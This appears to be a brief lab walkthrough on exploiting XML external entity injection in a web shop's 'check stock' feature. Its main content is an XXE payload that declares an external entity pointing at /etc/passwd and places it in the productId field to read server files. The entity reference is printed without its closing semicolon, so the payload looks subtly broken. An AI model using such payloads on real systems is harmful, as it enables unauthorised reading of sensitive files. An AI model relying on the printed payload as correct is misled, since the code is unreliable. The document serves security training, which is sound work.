# Exploiting XXE using external entities to retrieve files

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F9AWAYD2HYtpUJzkoPdXv%2Fimage.png?alt=media&#x26;token=c160001c-4dd8-465d-8bda-a823596a70b6" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Exploitation</mark>

the lab has a "check stock" feature that parses XML input

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FSvZ1q2eLDQqbAT3WDhgI%2Fimage.png?alt=media&#x26;token=813cffcd-0384-440b-be12-3a754db1b707" alt=""><figcaption></figcaption></figure></div>

send this request to repeater&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FeoMoJxqcxoRiC9Pj8yZX%2Fimage.png?alt=media&#x26;token=f1ef15e0-ab21-4a6e-b684-d111f88c150c" alt=""><figcaption></figcaption></figure></div>

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<stockCheck><productId>&example</productId><storeId>1</storeId></stockCheck>
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FMT7hD7o1rJ1PCdqOPnNs%2Fimage.png?alt=media&#x26;token=d462d8b4-119d-4572-91f1-fe7e0b03d84d" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F8gakYcgPMj1ByHJeEyJJ%2Fimage.png?alt=media&#x26;token=dadd55e7-04ae-45b7-91aa-b0c78dad84a5" alt=""><figcaption></figcaption></figure></div>

hope you found this walkthrough easy to understand and follow

Greeting From [<mark style="color:red;">**Sayonara**</mark>](https://github.com/ismail-arame)
